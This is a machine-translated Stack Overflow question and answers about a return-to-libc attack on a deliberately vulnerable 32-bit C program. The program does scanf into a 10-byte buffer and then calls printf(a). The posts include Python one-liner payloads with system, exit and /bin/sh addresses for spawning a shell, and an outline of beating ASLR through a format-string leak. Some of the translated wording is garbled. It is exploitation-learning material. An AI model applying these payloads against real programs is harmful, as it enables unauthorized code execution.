首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >返回到libc攻击

返回到libc攻击
EN

Stack Overflow用户
提问于 2018-04-03 01:24:17
回答 2查看 7.5K关注 0票数 5

我正在尝试使用格式字符串攻击向量来实现对以下代码的返回到libc攻击。

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

我已经使用p system命令在gdb中计算出了system()的地址。通过使用x/500s $esp对栈帧的检查,得到了包含\bin\sh的环境变量的地址。

代码语言:javascript
复制
system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

在完成这些操作之后,我构造了以下格式字符串:

代码语言:javascript
复制
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

其中0xffffcdbc - 0x4是包含系统地址0xf7e2cda0值的本地地址。

我使用gcc -m32 -fno-stack-protector -o sh sh.c编译程序,并使用gdb sh运行它。在执行时,在输入r<inp时,我将得到以下输出

如上面所示,这里显示了一些错误命令,只有在再次运行r命令之后我才会进入shell。有人能解释一下我在这里遗漏了什么,这样我才能直接到达贝壳吗?

另外,当我试图通过偏移gdb地址来执行上面没有gdb (通过./sh < inp)的程序时,我会得到一个分段错误错误。我假设这是可以解决的,一旦上面的修复得到纠正。

请回答一个完整的工作开发-大多数教程在线使用argv[1]解释类似的问题,但我希望使利用没有使用参数。

谢谢!

EN

回答 2

Stack Overflow用户

回答已采纳

发布于 2018-04-04 17:07:51

经过几天的研究,我终于解决了这个问题。这并不是因为/bin/sh字符串的地址是错误的,或者您只需要从libc库中获得一个libc字符串地址位置才能使其工作,但是您所需要的只是在您放置的字符串的地址末尾有一个由4个字节组成的nop滑车。所以,本质上,我的攻击字符串希望

代码语言:javascript
复制
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

或者在将/bin/sh直接写入缓冲区的情况下,类似于下面的字符串将起作用

代码语言:javascript
复制
python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp

其中\x5c\x73\x68 (\bin\sh的十六进制)存储在\x84\xce\xff\xff的缓冲区中。

注意:--我有时也会注意到,您在某个特定位置所写的地址并不会以某种方式出现。在这些情况下,您应该做填充,以确保所有的东西都存储在各自的位置。

票数 1
EN

Stack Overflow用户

发布于 2018-04-03 07:16:33

首先,您正在构造一个纯堆栈基溢出,而不是格式字符串有效负载。

libc函数system() 将用于gdb,即使它的参数不是有效的system()。例如,调用system("asdasd")仍然在gdb中给出一个shell (错误消息弹出,这就是您看到的),所以您的有效负载基本上没有正确定位/bin/sh

您应该在system的地址和/bin/sh的地址之间添加一个填充(很多pwn初学者忘记了这一点)。

代码语言:javascript
复制
print 'A'*padding_to_ret + addr_system + padding + addr_binsh

对于$esp调用约定,一旦调用了函数,参数就会被推送,接下来是返回地址,所以当ROP链以system作为返回时,x86 现在指向 padding**.**的位置,因此参数** /bin/sh (**$ebp+0x4**)应该就在padding**.**旁边。

最后您提到您希望在没有argv帮助的情况下构建一个有效负载,是的,这是可能的,但是您需要有机会通过泄漏libc地址来击败ASLR来获得/bin/sh的地址(您可以在libc中找到这个字符串)。

以您提供的代码为例:

  1. scanf("%s, &a)
    • 为下一个%x%x%9$x构造类似的东西,以便在堆栈上泄漏一些libc地址。
    • main覆盖返回地址来进行另一次读取。

  1. printf(a)
    • 接收泄漏地址,计算libc基址和其他有用的函数,如system_addr = libc_addr + system_offset

  1. scanf("%s, &a)
    • 现在您知道了system/bin/sh的地址,构建上面的ROP链以获得控制。

票数 3
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/49620893

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档